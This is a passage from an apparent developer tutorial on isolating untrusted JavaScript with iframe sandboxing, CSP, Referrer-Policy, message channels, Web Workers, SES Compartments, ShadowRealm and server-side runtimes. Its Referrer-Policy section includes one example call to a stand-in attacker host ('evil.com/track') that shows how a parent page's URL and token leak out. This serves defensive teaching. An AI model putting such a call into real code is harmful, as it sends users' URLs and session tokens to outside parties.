// ❌ SecurityError: Blocked a frame with origin ... from accessing a cross-origin frame.
Enter fullscreen mode Exit fullscreen mode

To enable same-origin behavior, you can add the allow-same-origin directive. This allows the <iframe> to access the parent document directly, while still preventing it from opening popups, navigating the parent URL, auto-submitting forms, and so on:

<iframe src="sandbox.html" sandbox="allow-scripts allow-same-origin"></iframe>
Enter fullscreen mode Exit fullscreen mode

To enable specific permissions, you need to explicitly list the corresponding directives. The full set of sandbox directives is fairly large, but the most useful ones are:

  • allow-same-origin — restores the iframe’s actual origin (otherwise it remains null).
  • allow-scripts — allows JavaScript execution.
  • allow-forms — allows HTML form submissions.
  • allow-downloads — allows file downloads from inside the iframe (such as via <a download> or direct links).
  • allow-modals — allows alert, prompt, and confirm.

You can find the complete list of available directives in the MDN documentation.

Granting access to specific APIs with the allow attribute

The allow attribute is another important mechanism for controlling what an <iframe> is permitted to do. It governs access to sensitive browser APIs: camera, microphone, clipboard, fullscreen mode, geolocation, Bluetooth, and many others.

The syntax of the allow attribute uses a list of expressions of the form:

<directive>=<allowlist>;
Enter fullscreen mode Exit fullscreen mode

Here, <directive> is the specific capability for which you want to define an allowlist of origins.

The full set of allow directives is described in the MDN documentation.

<allowlist> is a list of origins that are permitted to use that capability. It can include one or more of the following values:

  • * — the capability is allowed in the current <iframe> and in all nested <iframe>s, regardless of their origin;
  • 'none' — the capability is completely disabled;
  • 'self' — the capability is allowed in the current <iframe> and in all same-origin nested <iframe>s;
  • 'src' — the capability is allowed in the current <iframe> only if the document loaded inside it matches the URL specified in the <iframe>’s src attribute;
  • a list of specific origins in quotes — the capability is allowed only for the explicitly listed origins.

For more details on the syntax, refer to the MDN documentation.

If the allow attribute is omitted, the browser assumes that all sensitive APIs inside the <iframe> are disabled. To enable specific capabilities, you must list them explicitly:

<iframe
  sandbox="allow-scripts"
  allow="camera *; microphone 'none'; clipboard-write"
  src="https://example.com/sandbox.html">
</iframe>
Enter fullscreen mode Exit fullscreen mode

In this case, the browser interprets the directives as follows:

  • camera — access is allowed for all origins;
  • microphone — access to the microphone is completely denied;
  • clipboard-write — clipboard write access is allowed only for https://example.com/sandbox.html.

In addition to the allow attribute, there is also the global HTTP header Permissions-Policy. It overrides the iframe attribute settings, which means that for full control you should configure both mechanisms.

The sandbox and allow attributes work together to give you fine-grained control over an iframe’s privileges and the sandbox’s isolation level.

When designing a sandboxing architecture, you should always follow the principle of least privilege. Any system should be granted only the minimum access required to perform its tasks. Applying this principle when building security-sensitive systems helps reduce the potential attack surface available to an adversary.

Beyond the sandbox and allow attributes, several additional mechanisms strengthen the isolation boundaries of an <iframe>-based sandbox. Next, we’ll look at two key ones: Content Security Policy (CSP) and Referrer-Policy.

The Content-Security-Policy header

CSP is a built-in browser security mechanism that lets you define what a document is allowed to load and execute. It can be enabled either through the corresponding HTTP header when serving a remote resource, or via a special <meta> tag placed in the document’s <head>. Both approaches allow you to specify which types of resources the document may load and under what conditions — images, stylesheets, scripts, and more.

Here’s an example of a strict CSP policy that blocks all resource loading except scripts from the current origin:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self';">
Enter fullscreen mode Exit fullscreen mode

This set of security policies ensures that user code cannot load anything from the outside and cannot escape the sandbox. CSP operates independently of the sandbox and allow attributes. It doesn’t affect the document’s origin or access to specific APIs — instead, it restricts what those APIs are allowed to do. In other words, it controls where resources can be loaded from, where data can be sent, and which interactions are permitted or denied.

In addition to blocking network requests and limiting network privileges, Content Security Policy can completely disable dynamic JavaScript execution via eval() or new Function(). This restriction is enforced automatically unless the script-src directive explicitly includes unsafe-eval. If it’s not present, any attempt to execute dynamically generated code will trigger a security error:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self';">

<script>
    eval("console.log('Hello!')");
    // ❌ EvalError: Evaluating a string as JavaScript violates the following Content Security Policy directive
    // because 'unsafe-eval' is not an allowed source of script
</script>
Enter fullscreen mode Exit fullscreen mode

You can learn more about Content Security Policy in the MDN documentation.

The Referrer-Policy header

Even if the sandboxed code is fully isolated, it may still have a way to leak information about the host environment. For example, if code inside the sandbox makes a network request, the browser may attach a Referer header that includes either the full URL of the parent page or at least its origin — depending on the browser’s default settings:

fetch("https://evil.com/track"); 
// The browser may send a header like:
// Referer: https://site.com/page?token=...
Enter fullscreen mode Exit fullscreen mode

Note that the HTTP header is spelled Referer, even though this is a misspelling of the English word “referrer.” This incorrect spelling is part of the HTTP standard.

To prevent such leaks, browsers provide the Referrer-Policy mechanism. It controls whether the address of the parent environment is included in outgoing requests — and in what form. For sandboxes, it’s best to use a strict policy, such as no-referrer, by setting the referrerpolicy attribute on the <iframe> element:

<iframe
  sandbox
  referrerpolicy="no-referrer"
  src="sandbox.html">
</iframe>
Enter fullscreen mode Exit fullscreen mode

This is an important detail of isolation: without this attribute, malicious code could determine where the sandbox is embedded and extract metadata, tokens, or session identifiers directly from the URL.

For more details on Referrer-Policy, see the MDN documentation.

We’ve now covered all the key security mechanisms available for <iframe>-based sandboxes. Here’s a minimal <iframe> configuration that follows established best practices:

<iframe
  src="sandbox.html"
  sandbox="allow-scripts"
  referrerpolicy="no-referrer"
  allow="clipboard-write 'self'"
></iframe>
Enter fullscreen mode Exit fullscreen mode

This iframe gets its own opaque origin, does not reveal any information about its parent, cannot execute external scripts, and has access only to the APIs that are explicitly permitted through the sandbox and allow attributes.

Communicating with the sandbox using postMessage

Once isolation is configured for the <iframe>, the most important practical question remains: how do we pass user code into the sandbox and receive the results of its execution? Since the sandbox runs in a separate origin (either cross-origin or opaque origin), direct access isn’t possible. The standard mechanism for communication between such environments is postMessage.

You can send a message to the <iframe> like this:

iframe.contentWindow.postMessage({ type: "run", payload: userCode }, trustedOrigin);
Enter fullscreen mode Exit fullscreen mode

And receive it inside the sandbox:

window.addEventListener("message", (event) => {
    console.log("Received code:", event.data.payload);
});
Enter fullscreen mode Exit fullscreen mode

All data sent through postMessage is transferred using the structured clone algorithm. It can copy objects, arrays, dates, Map, Set, ArrayBuffer, and most built-in structures — but it cannot clone functions, DOM nodes, or objects that rely on closures. Because of this, user code and execution results must be sent as strings or simple data structures.

Since postMessage allows any window to send messages, every incoming message must be validated using event.origin. This ensures that the data came from the expected parent window rather than from another <iframe>, tab, or browser extension. If the origin does not match a predefined list of trusted sources, the message should be ignored. It’s also important to send the response back to the exact same origin that the message came from — this makes the communication channel fully safe and prevents message interception or spoofing attempts.

A safe event.origin check looks like this:

// Allow messages only from a parent with this origin
const TRUSTED_ORIGIN = "https://our-site.com";

window.addEventListener("message", (event) => {
    // Validate the origin
    if (event.origin !== TRUSTED_ORIGIN) {
        return; // Ignore anything not coming from the parent
    }

    // Process only trusted messages
    if (event.data.type === "run") {
        runUserCode(event.data.payload);
    }

    // Send the response back to the same origin
    event.source.postMessage({ type: "done" }, event.origin);
});
Enter fullscreen mode Exit fullscreen mode

The postMessage mechanism is asynchronous: the message is placed into the event queue and processed only after the current call stack is cleared. Code after a postMessage call executes immediately, while the message event handler runs later, in the next turn of the event loop.

Handshake: establishing a communication channel with the sandbox

Communication between the parent window and the <iframe> is always asynchronous, because document loading, script execution, and sandbox work all happen on separate event queues. To make this communication reliable, a short initialization protocol — a handshake — is often used. The handshake solves a common problem: the parent may try to send the first message when the sandbox’s JavaScript hasn’t finished initializing and no message handler is attached yet. In that case, the message is simply lost. A handshake ensures that both documents are ready to exchange data and agree on the communication format.

In the parent document, we first send a handshake-init message:

const iframe = document.getElementById("sandbox");

// Send the initial handshake message to the sandbox
iframe.contentWindow.postMessage({ type: "handshake-in" }, trustedOrigin);

// Wait for the sandbox to respond, and only then send the user code
window.addEventListener("message", (event) => {
    if (event.data.type === "handshake-out") {
        iframe.contentWindow.postMessage(
            { type: "run", payload: userCode },
            trustedOrigin
        );
    }
});
Enter fullscreen mode Exit fullscreen mode

Inside the sandbox, we listen for the message and reply back to the parent to confirm that the sandbox is ready:

// Inside the sandbox: respond to the handshake message
window.addEventListener("message", (event) => {
    if (event.data?.type === "handshake-in") {
        event.source.postMessage({ type: "handshake-out" }, event.origin);

        // The sandbox logic is initialized only after the handshake is done
        initSandbox();
    }
});
Enter fullscreen mode Exit fullscreen mode

This message exchange ensures that the sandbox initializes only after the <iframe> has fully loaded and a message listener is already running inside it. Once the handshake is complete, it’s safe to send user code, execution commands, console output, or any other data.

MessageChannel: an isolated communication channel with the sandbox

Although postMessage is reliable, it has a limitation: all messages arrive through the global message event handler, and any window or <iframe> can send them. This means you must constantly validate origin. To make communication even safer and eliminate unrelated events, you can use MessageChannel. This mechanism creates two linked MessagePort objects that can communicate only with each other. One port stays in the parent document, and the other is transferred into the sandbox — forming a private, isolated communication channel.

First, we create the channel in the parent document and transfer one of the ports to the sandbox:

const channel = new MessageChannel();

// Send the second port into the iframe
iframe.contentWindow.postMessage(
    { type: "init-port" },
    trustedOrigin,
    [channel.port2]
);

// Listen for messages coming from the sandbox
channel.port1.onmessage = (event) => {
    console.log("Message from sandbox:", event.data);
};
Enter fullscreen mode Exit fullscreen mode

Inside the sandbox, we receive the port and start communicating through MessageChannel:

window.addEventListener("message", (event) => {
    if (event.data.type !== "init-port") return;

    // Receive the transferred port
    const port = event.ports[0];

    // Listen for messages from the parent
    port.onmessage = (event) => {
        console.log("Message from parent:", event.data);
    };

    // Send a response back
    port.postMessage("Hello from the sandbox!");
});
Enter fullscreen mode Exit fullscreen mode

This gives the sandbox and the parent document a private, fully isolated communication channel that doesn’t depend on the global message event. This approach is especially useful when the application contains multiple sandboxes or when strict separation between communication channels is required.

BroadcastChannel: messaging between multiple sandboxes

Sometimes several <iframe>s need to communicate with each other or with the parent through a shared communication channel. For example, you might have multiple sandboxes running in parallel, all of which should receive unified notifications — such as switching between light and dark themes, updating settings, or synchronizing application state. For these scenarios, BroadcastChannel is often used.

To establish a connection via BroadcastChannel, we first initialize it in the parent document:

const channel = new BroadcastChannel("sandbox-bus");

channel.postMessage({ type: "theme", payload: "dark" });
Enter fullscreen mode Exit fullscreen mode

Inside the sandbox, we create a channel with the same name:

const channel = new BroadcastChannel("sandbox-bus");

channel.onmessage = (event) => {
    if (event.data.type === "theme") {
        applyTheme(event.data.payload);
    }
};
Enter fullscreen mode Exit fullscreen mode

All documents that join a channel under the same name will receive the same messages. BroadcastChannel isn’t tied to any window hierarchy, works across tabs and <iframe>s, and doesn’t perform any built-in origin checks. This means it should only be used for operations that remain safe even without strict origin validation.

Because every cross-origin or opaque-origin <iframe> runs inside its own agent — with a separate event loop, its own task queues, and isolated memory — passing data between multiple sandboxes and the parent document can become relatively expensive. For that reason, <iframe>-based sandboxes work well for code playgrounds and small visual editors, but they don’t scale as cleanly in systems that need to run dozens or hundreds of containers that interact frequently.

Sandbox architecture based on Web Workers

Aside from <iframe>, JavaScript code can also be isolated using Web Workers — a mechanism that runs code in a separate execution thread inside the browser. A worker operates in its own agent with a dedicated event loop and memory, but unlike an <iframe>, it has no access to the DOM or many of the familiar browser APIs. This makes workers a good fit for sandboxes that need to execute untrusted or compute-heavy code safely, without rendering it into the UI.

When the browser creates a Web Worker, it sets up a completely separate execution environment. A worker’s memory is isolated from the memory of the parent document, and the only way to share data is through explicit mechanisms such as SharedArrayBuffer. At the same time, code running inside a worker never blocks the UI: even if the sandboxed code runs an infinite loop or performs heavy computations, the main page remains responsive.

Unlike regular documents, where the global object is exposed as window, a worker exposes its global scope as self. Since ES2020, you can also use globalThis to reference the global object from inside a worker. The global object in a worker contains only a restricted set of APIs: there is no access to the DOM, document, localStorage, window, or similar browser interfaces. A worker can interact only with the data it receives and the APIs provided explicitly by the worker environment.

Creating a Web Worker

To spin up a Web Worker, you point the constructor to a separate JavaScript file. The code in that file will run inside its own isolated execution context:

const worker = new Worker('/sandbox-worker.js', { type: 'module' });
Enter fullscreen mode Exit fullscreen mode

When this line runs, the browser fetches the script from the given URL and starts a new JavaScript thread dedicated to that worker.

Worker creation is governed by the page’s Content Security Policy (CSP). The script-src and worker-src directives control which sources are allowed to load scripts and workers:

Content-Security-Policy:
  script-src 'self';
  worker-src 'self';
Enter fullscreen mode Exit fullscreen mode

This policy allows workers to be loaded only from the same origin, preventing any untrusted scripts from being used as worker entry points. Under a strict CSP, the sandbox behaves predictably: a worker can only be created from an approved file, and its code cannot be replaced or injected at runtime.

Communication between the worker and the main thread

The main thread and a worker communicate exclusively through postMessage, which relies on the structured-clone algorithm. This means workers never gain access to objects in the parent environment, and the messaging protocol stays predictable and safe.

From the main thread:

worker.postMessage({ type: "run", payload: "2 + 2" });

worker.onmessage = (event) => {
    console.log("Message from worker:", event.data);
};
Enter fullscreen mode Exit fullscreen mode

From inside the worker:

self.onmessage = (event) => {
    const { type, payload } = event.data;

    if (type !== "run") return;

    try {
        const result = eval(payload);

        self.postMessage(result);
    } catch (err) {
        self.postMessage("Worker error: " + err.message);
    }
};
Enter fullscreen mode Exit fullscreen mode

Terminating unresponsive worker code

If user code gets stuck in an infinite loop or spends too long on heavy computation, the worker will stop responding to messages — though the main UI will continue to function normally. To avoid waiting indefinitely, you can set a timeout on the parent side and forcibly stop the worker if it doesn’t respond in time. The worker can be terminated with the terminate() method:

// Start a timer: if the worker becomes unresponsive, kill it
const timeout = setTimeout(() => worker.terminate(), 1000);

// If the worker sends a response, clear the timeout
worker.onmessage = (event) => {
    clearTimeout(timeout);

    console.log("Message from worker:", event.data);
};
Enter fullscreen mode Exit fullscreen mode

terminate() stops the worker immediately and frees its memory. This protects the sandbox from hanging or leaking resources when running unpredictable user code.

Handling errors inside a worker

Errors thrown inside a worker never bubble up to the main thread, so they must be captured explicitly using the error event:

worker.onerror = (e) => {
    console.error("Worker error:", e.message);
};
Enter fullscreen mode Exit fullscreen mode

Inside the worker you can rely on the global onerror handler:

self.onerror = (message, source, lineno, colno, error) => {
    self.postMessage({
        type: "error",
        payload: error?.message || message
    });
};
Enter fullscreen mode Exit fullscreen mode

This ensures that any failure inside the sandbox is reported back to the parent in a controlled and predictable way.

Restricting APIs inside a worker

Even though a worker runs in a more limited environment, it can still perform network requests, import external code, or load additional scripts via importScripts. To minimize the attack surface, you can explicitly disable APIs that should not be available inside the sandbox:

self.fetch = undefined;
self.importScripts = undefined;
self.XMLHttpRequest = undefined;
Enter fullscreen mode Exit fullscreen mode

While eval() inside a worker is far safer than in the main thread, there are cases where it makes sense to restrict it as well. If the worker is only supposed to handle a narrow set of operations, you can replace eval with a small, validated interpreter or a simple expression evaluator:

const safeEval = (code) => {
    if (!/^[0-9+\-*/ ().]*$/.test(code)) {
        throw new Error("Forbidden expression!");
    }

    return new Function(`"use strict"; ${code}`)();
};
Enter fullscreen mode Exit fullscreen mode

Where Web Workers Excel

Web Workers are a great fit for cases where you need to execute untrusted or heavy code safely, and that code doesn’t require access to the DOM. They shine in scenarios such as:

  • code transformation (Babel, TypeScript, SWC);
  • linting and static analysis via AST;
  • code formatting (Prettier);
  • intensive computations and data processing;
  • running user-submitted JavaScript in REPL-like sandboxes;
  • simulations, mathematical workloads, cryptography, compression.

Iframe-based sandboxes and Web Worker sandboxes approach isolation at the architectural level: they split execution across different browser contexts, giving you strong safety guarantees thanks to separate Realms, Agents, and global objects.

However, there is another approach that is widely used in production: sandboxes that run entirely within a single JavaScript context. Earlier in this article, we explored the underlying principles — hiding the global object, freezing prototypes, and providing carefully crafted “safe” API wrappers. Those techniques do work, but they’re tedious, error-prone, and hard to maintain.

Fortunately, there are mature, well-designed tools that formalize these ideas and provide reliable single-context isolation out of the box. In the next section, we’ll look at the leading solutions that allow you to run untrusted code securely without relying on iframes or workers — from hardened JavaScript environments to capability-based sandboxing.

Single-process sandbox architecture

Iframe- and Worker-based sandboxes provide isolation at the browser-infrastructure level: each sandbox gets its own global object, its own execution context, and a dedicated messaging channel. That model is extremely robust — but it can also be expensive.

If you need to run dozens or even hundreds of independent sandboxes — for example, to load plugins, external modules, or third-party npm packages — spinning up a separate <iframe> or a separate Web Worker for each one becomes impractical. It consumes too many resources, complicates the lifecycle of every sandbox, and makes overall architecture significantly harder to manage.

This is why large systems often rely on single-process isolation: all sandboxes run inside one JavaScript engine instance, sharing the same process and event loop, but still remain strongly isolated from each other. This approach is dramatically cheaper and enables entire ecosystems where many independent mini-applications can coexist safely on the same page.

Here are a few examples of such systems:

  • Figma Plugins

Figma plugins are isolated extensions of the main application, written by third-party developers. Each plugin executes inside a constrained virtual environment within the same JS process. It interacts with the main document exclusively through a safe, capability-based API and has no access beyond the permissions explicitly granted to it.

  • MetaMask Snaps

Snaps are extensions for the MetaMask crypto wallet. They allow users to add support for new networks, cryptographic primitives, analytics, or security checks — without modifying the wallet’s own code. Each Snap is an npm package executed in its own sandbox, but all Snaps share the same underlying JS environment.

  • Agoric Smart Contracts

Agoric is a blockchain platform where smart contracts are written in regular JavaScript. Every contract is an npm module loaded into a controlled compartment. It receives only the authorities explicitly granted to it and cannot interfere with other contracts or the broader network runtime.

  • Salesforce Lightning Locker

Salesforce allows customers to extend the CRM with custom components. To ensure these components can run safely side-by-side in a shared UI, Salesforce uses the Lightning Locker architecture. Each component gets its own global context, its access to DOM and platform APIs is filtered, and inter-component communication is tightly controlled.

To let dozens of isolated sandboxes safely coexist inside a single JavaScript process, it isn’t enough to simply hide global variables the way we did earlier in What the global object is and how it can be isolated. What you need is a deeper, principled model — something formalized, predictable, and designed from the ground up for security. Over the last 10–15 years, the industry has converged on a set of ideas that power modern systems like Figma Plugins, MetaMask Snaps, Agoric smart contracts, and Salesforce Lightning Locker.

Programmatic initialization of Realms

We already know that every <iframe> creates its own Realm — with its own globalThis and its own set of language intrinsics. But both iframes and workers create Realms implicitly, through browser-level mechanisms that depend on security policies and origin rules. If your system needs to spin up dozens or even hundreds of isolated execution contexts within the same process, neither <iframe> nor Web Workers is a practical solution.

Engineers and researchers at Agoric and Salesforce were among the first to tackle this problem head-on. They proposed the idea of a Realms API — a standardized way to create lightweight, fully controlled Realms directly from JavaScript. The idea was to allow developers to instantiate new execution environments that:

  • have their own globalThis and global environment,
  • run within the same process and the same agent,
  • can interact with the main application synchronously,
  • and follow a strict, well-defined security model.

The design of the Realms API is based on the philosophy of the object-capability model. This security model asserts that code should only have access to the authorities explicitly granted to it — nothing more, nothing by default. In the context of sandboxes, the object-capability model ensures that every sandbox receives only the minimal set of permissions required to perform its tasks. We’ve already discussed this principle — the principle of least privilege — when talking about <iframe>-based sandboxes.

More about the object-capability model — on Wikipedia.

Secure ECMAScript

The Realms API itself never made it into the ECMAScript standard, but the ideas behind it laid the foundation for several powerful initiatives that did gain traction — and are now used in systems like MetaMask Snaps, Agoric smart contracts, and Salesforce Lightning Locker. The most influential approach that emerged from the Realms API design is Secure ECMAScript (SES).

Rather than creating a fresh set of intrinsics for every execution context, SES takes a different path. It proposes freezing the global environment up front and then building any number of isolated compartments on top of that hardened foundation. Each compartment receives only the capabilities that were explicitly granted to it.

This turned out to be the practical, scalable, production-ready solution that the original Realms API was aiming for.

By hardening a shared global environment, SES solves the key problem that made Realms heavy and difficult to use: identity discontinuity. All SES compartments share the same set of intrinsic objects — the same Object, the same Array, the same %ObjectPrototype%, and so on. As a result, there is no mismatch between types and no surprises when passing values across compartments.

At the same time, each compartment still gets its own globalThis, its own set of allowed powers, and its own isolated execution context — fully separated from all others.

The core idea behind SES is built on three key mechanisms:

1) lockdown()

The lockdown() function freezes all standard JavaScript objects and makes them immutable. This includes prototypes (Object.prototype, Array.prototype, and others), built-in constructors, and even functions like Date.now() or Math.random(), which are either removed entirely or replaced with safe, deterministic alternatives.

Once lockdown() is applied, any attempt to modify standard objects will immediately throw:

import "ses";

lockdown(); // Freezes all standard objects and their prototypes in one call

Array.prototype.push = () => {};  // ❌ TypeError: Cannot assign to read only property 'push'

console.log(Object.isFrozen([].__proto__)); // ✅ true
Enter fullscreen mode Exit fullscreen mode

2) harden()

The harden() function freezes any object you want to pass into untrusted code and prevents it from being modified or tampered with. Code running inside the sandbox can read data and call methods on a hardened object, but it cannot redefine or extend them:

import "ses";

lockdown(); // Enable SES mode and freeze all built-in prototypes

// Create a restricted console object
const safeConsole = harden({
    log: (...args) => console.log(...args),
});

// Pass safeConsole into the sandbox
sandbox(safeConsole);
Enter fullscreen mode Exit fullscreen mode

3) Compartment

Once lockdown() has been applied, you can create Compartments — lightweight isolated execution contexts similar to programmatically created Realms. Each Compartment gets its own globalThis and its own variable scope, but they all share the same frozen set of intrinsics created during lockdown.

This gives you isolation without identity discontinuity: every compartment uses the same immutable Object, Array, Function, and other built-ins:

import "ses";

lockdown();

const safeConsole = harden({
    log: (...args) => console.log(...args),
});

const userCode = "console.log(globalThis)"; // User code attempting to inspect the global object

// Create a compartment and explicitly define what is available inside it
const compartment = new Compartment({
    console: safeConsole
});

compartment.evaluate(userCode);
// Inside the sandbox, globalThis looks like: { console: { log: [Function: log] } }
Enter fullscreen mode Exit fullscreen mode

Code evaluated inside a Compartment runs in a fresh global environment where only the explicitly provided objects are available (for example, console). Everything else is out of reach. This behavior follows the Principle of Least Authority (POLA) — the foundation of SES — which ensures that code receives only the capabilities it genuinely needs. This is the same idea as the “principle of least privilege” discussed earlier.

One of the defining advantages of SES is that it eliminates the identity discontinuity that normally appears when working with independent Realms. All compartments in SES share the same frozen set of standard intrinsics, which means values created in different compartments can still be recognized as instances of the same built-in types:

lockdown();

const c1 = new Compartment();
const c2 = new Compartment();

const arr1 = c1.evaluate('[]');
const arr2 = c2.evaluate('[]');

console.log(arr1 instanceof Array); // ✅ true
console.log(arr2 instanceof Array); // ✅ true
Enter fullscreen mode Exit fullscreen mode

Today, the ideas behind SES are available — and actively evolving — through the Endo framework, maintained by engineers from Agoric and MetaMask. SES concepts power a wide range of real-world systems that need strong security guarantees when executing third-party code or running many isolated sandboxes side by side:

  • Extensible platforms. For example, MetaMask Snaps — a plugin system for the MetaMask wallet — runs each Snap inside its own compartment with a tightly controlled API surface.
  • Salesforce Lightning Locker, which isolates components from different vendors using SES principles, preventing access to private APIs and shared global state.
  • LavaMoat, a security tool that uses SES to isolate npm dependencies by placing each package into its own compartment with individualized permissions — protecting applications from supply chain attacks, where compromised npm packages attempt to escalate access.
  • Embedded and IoT environments. The Moddable XS engine, which runs JavaScript on microcontrollers, applies SES-style isolation to restrict what embedded scripts can access on the host device.

Secure ECMAScript carries forward the core vision of the Realms API: enabling logically isolated execution contexts within a single JavaScript environment. SES is not a replacement for <iframe> or Worker sandboxes, but it provides a stable, predictable isolation model grounded directly in the language itself.

ShadowRealm: native lightweight sandboxes

While one branch of the Realms API evolved into advanced security mechanisms like SES, another idea was growing in parallel within TC39: giving developers a simple, first-class way to create independent Realms directly from JavaScript — without spinning up an <iframe> or a Worker.

This is exactly the niche that ShadowRealm aims to fill. The proposal has already reached Stage 2.7, with Stage 3 ahead — after which implementations will begin to appear in browsers and the feature will eventually become part of the ECMAScript standard.

A ShadowRealm is a new ECMAScript primitive that creates a fully isolated execution environment with its own globalThis, its own built-in objects, and its own module graph. Inside a ShadowRealm, there is no DOM, no window, and no browser APIs — only JavaScript. This makes it possible to evaluate code safely and synchronously in a clean Realm without affecting the state of the main page:

const realm = new ShadowRealm();

realm.evaluate(`globalThis.value = 123`);

console.log(globalThis.value); // Logs: undefined — the assignment happened inside the separate realm
console.log(realm.evaluate(`globalThis.value`)); // Logs: 123
Enter fullscreen mode Exit fullscreen mode

Each ShadowRealm comes with a fresh set of entities:

  • its own Object, Array, Function, Error, Promise, and all other built-ins;
  • its own intrinsics and prototype chains completely separate from the main application;
  • its own isolated globalThis.

In effect, a ShadowRealm behaves like a tiny JavaScript virtual machine that runs inside the current process and is available synchronously.

The minimalist ShadowRealm API

The ShadowRealm API is intentionally small and consists of only two methods:

1) evaluate(sourceText) — synchronously evaluates a string of code inside the isolated context:

const realm = new ShadowRealm();

const result = realm.evaluate("1 + 2");

console.log(result); // Logs: 3
Enter fullscreen mode Exit fullscreen mode

evaluate() can return only primitives or functions. Attempting to return an object throws an error:

realm.evaluate(`({ x: 1 })`); 
// ❌ TypeError: object values cannot cross realms
Enter fullscreen mode Exit fullscreen mode

2) importValue(specifier, bindingName) — imports a specific exported binding from an ES module and executes that module inside the ShadowRealm:

const realm = new ShadowRealm();

const add = await realm.importValue('./math.js', 'add');

console.log(add(2, 3)); // Logs: 5
Enter fullscreen mode Exit fullscreen mode

The value returned from importValue() is a special proxy function. It lets you synchronously call the actual function inside the ShadowRealm, but it never grants access to the realm’s globalThis or any other internal objects.

ShadowRealm does not create a separate process and does not move execution to another thread. Everything runs in the same event loop and memory space, while the environments remain logically isolated. To prevent leaks and avoid identity discontinuity, the specification forbids objects from crossing Realm boundaries.

ShadowRealm gives you a way to create an isolated execution environment directly in JavaScript — without switching processes, without allocating a separate thread, and without relying on browser infrastructure. Code inside a ShadowRealm can be invoked synchronously, and results are returned immediately, with no need for communication protocols like postMessage. Its built-in objects do not overlap with those of the outer environment, which makes prototype pollution impossible. Because a ShadowRealm initializes quickly and requires very few additional resources, you can spin up many of them in a short amount of time.

This makes ShadowRealm an excellent choice for scenarios where you need pure JavaScript execution with full isolation, but without the heavyweight overhead of traditional browser sandboxes based on <iframe> or Workers.

You can try ShadowRealm today using the unofficial shadowrealm-api polyfill:

https://github.com/ambit-tsai/shadowrealm-api. However, I don’t recommend using it in production, as the project is no longer maintained.

Virtualizing execution environments in the browser

Sandboxing with <iframe>, Workers, ShadowRealm, and SES isolates only browser-level JavaScript. For many scenarios that’s enough — but what if you need to run not just a single snippet, but an entire application? Is it possible to run a full React, Angular, or even Next.js project inside the browser, spread across multiple files? Or is that something the browser simply cannot do?

It turns out that modern browsers can fully virtualize a complete Node.js environment and run it locally — thanks to WebAssembly. WebAssembly is a low-level, high-performance execution format that allows the browser to run modules compiled from languages like C++ or Rust at near-native speed.

One of the most impressive examples of such virtualization is WebContainers, created for the StackBlitz online editor. WebContainers run a full Node.js runtime inside the browser, entirely client-side — with no servers, no remote execution, and no need to install dependencies. A WebContainer is effectively a miniature operating system: it has its own filesystem, process model, and even its own event loop. Inside a WebContainer you can run a dev server, install packages, debug your application, and work in an environment that feels almost identical to local development. Meanwhile, the entire runtime remains isolated from the page — with no access to the DOM or internal browser objects.

In effect, the browser becomes a unified execution platform: it can run isolated JavaScript within a single environment (via SES), across separate Realms and Agents (via <iframe>, Workers, and in the future ShadowRealm), execute code inside a virtualized Node.js environment (via WebAssembly), and even combine these approaches to build hybrid sandbox architectures.

Server-side sandboxes

So far, we’ve focused on sandboxes that run inside the browser — from <iframe> and Workers to WebAssembly-based virtualization. But the need for code isolation extends far beyond the frontend. On servers, in cloud IDEs, and across CI/CD platforms, millions of independent JavaScript snippets are executed every day. All of them require isolation, resource limits, and predictable execution environments. It’s worth briefly looking at server-side sandboxes — they solve the same problems, but at the platform and infrastructure level.

Node.js VM and the vm2 library

Node.js ships with a built-in vm module that allows you to create isolated JavaScript execution contexts:

const vm = require('vm');

const context = { x: 2 };

vm.createContext(context);
vm.runInContext('x += 3', context);
Enter fullscreen mode Exit fullscreen mode

These contexts are logically isolated, but not physically separated: the code still runs in the same process and has access to the same system resources as the rest of the application. Because of that, more hardened solutions appeared on top of vm, the most popular being vm2. This library filters access to dangerous globals (process, require, Buffer), enforces CPU and memory limits, introduces execution timeouts, and traps errors.

vm2 is widely used:

  • in code runner services and large online playgrounds,
  • in workflow engines (n8n, Appsmith, Budibase),
  • in CI/CD systems where user-provided code runs inside pipelines.

But even vm2 does not provide kernel-level isolation. Any vulnerability in V8 or in the library itself can still allow escape from the sandbox. For environments that execute fully untrusted code, platforms usually rely on containerized or virtualized execution — using technologies like containers, micro-VMs, or lightweight virtual machines.

Deno: a built-in, platform-level sandbox

Deno — the spiritual successor to Node.js — was designed from day one with a strict security model. Every script in Deno runs inside a locked-down environment, and access to system resources must be explicitly granted:

deno run --allow-net --allow-read server.ts
Enter fullscreen mode Exit fullscreen mode

Without these permissions, the code has no access to the filesystem, network, environment variables, or other sensitive APIs. This makes Deno not just another runtime, but a platform with a built-in object-capability security model, where access to any functionality must be explicitly authorized through capability flags.

QuickJS: language-level isolation

QuickJS is a minimalist JavaScript interpreter created by Fabrice Bellard (author of FFmpeg and TinyCC). It is compact, fully implements the ECMAScript standard, and is widely used as an embedded engine for IoT devices and server-side systems.

Unlike Node or Deno, QuickJS does not include system APIs, which means that by default code executed inside it is completely isolated from the outside world. QuickJS is also frequently used in scenarios where JavaScript needs to be embedded as a scripting or automation language — for example, in CMS engines, game engines, analytics platforms, and cloud-based editors.

Containers and micro-VMs: Docker and Firecracker

When true physical isolation is required, JavaScript-level sandboxes aren’t enough — you need the security boundary of separate operating systems.

  • Docker runs containers with their own processes, namespaces, and filesystem layers. Docker has become the standard solution for code-runner platforms such as GitHub Actions, GitLab CI, Replit, and CodeSandbox Projects.
  • Firecracker (AWS) is a micro-virtual machine technology that boots in milliseconds and provides OS-level isolation with near-native performance. Firecracker powers services like AWS Lambda and AWS Fargate.

Docker and Firecracker are not JavaScript sandboxes but fully virtualized execution environments, offering strong resource isolation and hardened security boundaries.

Wrapping up

Looking back at everything we’ve explored in this article, it becomes clear that JavaScript sandboxing isn’t a single technology or a single trick. It’s an entire spectrum of approaches that emerged over years of evolution in the language and the browser platform. Each isolation mechanism has its own security boundaries, strengths, and trade-offs. And most of the time, these mechanisms don’t compete — they complement one another.

In practice, a robust sandbox architecture almost always layers multiple defenses: environment isolation, capability-based permissions, restricted access to sensitive APIs, and strict communication protocols. Only the combination of these techniques creates a predictable and secure model for running untrusted code.

We’ve explored browser sandboxes from the very foundations. Now let’s look back at everything we covered and map out the journey we took:

  • we began with the simplest language features like eval() and new Function(), examining the most basic ways to tighten the safety of dynamic code execution;
  • we ran into fundamental language-level limitations — namely, how easy it is for such code to reach the global object and all critical browser APIs;
